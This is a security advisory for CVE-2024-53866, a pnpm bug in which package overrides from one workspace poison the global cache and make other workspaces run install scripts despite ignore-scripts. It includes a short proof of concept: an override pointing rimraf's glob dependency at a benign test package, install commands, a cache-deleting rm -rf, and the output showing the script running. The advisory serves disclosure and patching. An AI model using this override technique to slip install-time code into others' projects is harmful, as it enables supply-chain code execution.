GHSA-VM32-9RQF-RH3R
Vulnerability from github – Published: 2024-12-10 22:42 – Updated: 2024-12-10 22:42Summary
pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation)
This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B
Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).
Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache
PoC
Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log
- Remove store and cache
On mac:
rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/storeThis step is not required in general, but we'll be using a popular package for PoC that's likely cached - Create
A/package.json:json { "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } }Install it withpnpm i --ignore-scripts(the flag is not required, but the point of the demo is to show that it doesn't help) - Create
B/package.json:json { "name": "B", "dependencies": { "rimraf": "6.0.1" } }Install it withpnpm i
Result:
Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms
dependencies:
+ rimraf 6.0.1
Done in 1.4s
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53866"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-426"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-10T22:42:41Z",
"nvd_published_at": "2024-12-10T18:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\n\npnpm seems to mishandle overrides and global cache:\n1. Overrides from one workspace leak into npm metadata saved in global cache\n2. npm metadata from global cache affects other workspaces\n3. installs by default don\u0027t revalidate the data (including on first lockfile generation)\n\nThis can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B\n\nUsers generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).\n\nHere, that expectation is broken\n\n### Details\n\nSee PoC.\n\nIn it, overrides from a single run of A get leaked into e.g. `~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json` and persistently affect all other projects using the cache\n\n### PoC\n\nPostinstall code used in PoC is benign and can be inspected in \u003chttps://www.npmjs.com/package/ponyhooves?activeTab=code\u003e, it\u0027s just a `console.log`\n\n1. Remove store and cache\n On mac: `rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store`\n This step is not required in general, but we\u0027ll be using a popular package for PoC that\u0027s likely cached\n2. Create `A/package.json`:\n ```json\n {\n \"name\": \"A\",\n \"pnpm\": { \"overrides\": { \"rimraf\u003eglob\": \"npm:ponyhooves@1\" } },\n \"dependencies\": { \"rimraf\": \"6.0.1\" }\n }\n ```\n Install it with `pnpm i --ignore-scripts` (the flag is not required, but the point of the demo is to show that it doesn\u0027t help)\n4. Create `B/package.json`:\n ```json\n {\n \"name\": \"B\",\n \"dependencies\": { \"rimraf\": \"6.0.1\" }\n }\n ```\n Install it with `pnpm i`\n\nResult:\n```console\nPackages: +3\n+++\nProgress: resolved 3, reused 3, downloaded 0, added 3, done\nnode_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms\n\ndependencies:\n+ rimraf 6.0.1\n\nDone in 1.4s\n```\n\nAlso, that code got leaked into another project and it\u0027s lockfile now! \n\n### Impact\n\nGlobal state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs\n\nAs a work-around, use separate cache and store dirs in each workspace\n",
"id": "GHSA-vm32-9rqf-rh3r",
"modified": "2024-12-10T22:42:41Z",
"published": "2024-12-10T22:42:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vm32-9rqf-rh3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53866"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/11afcddea48f25ed5117a87dc1780a55222b9743"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.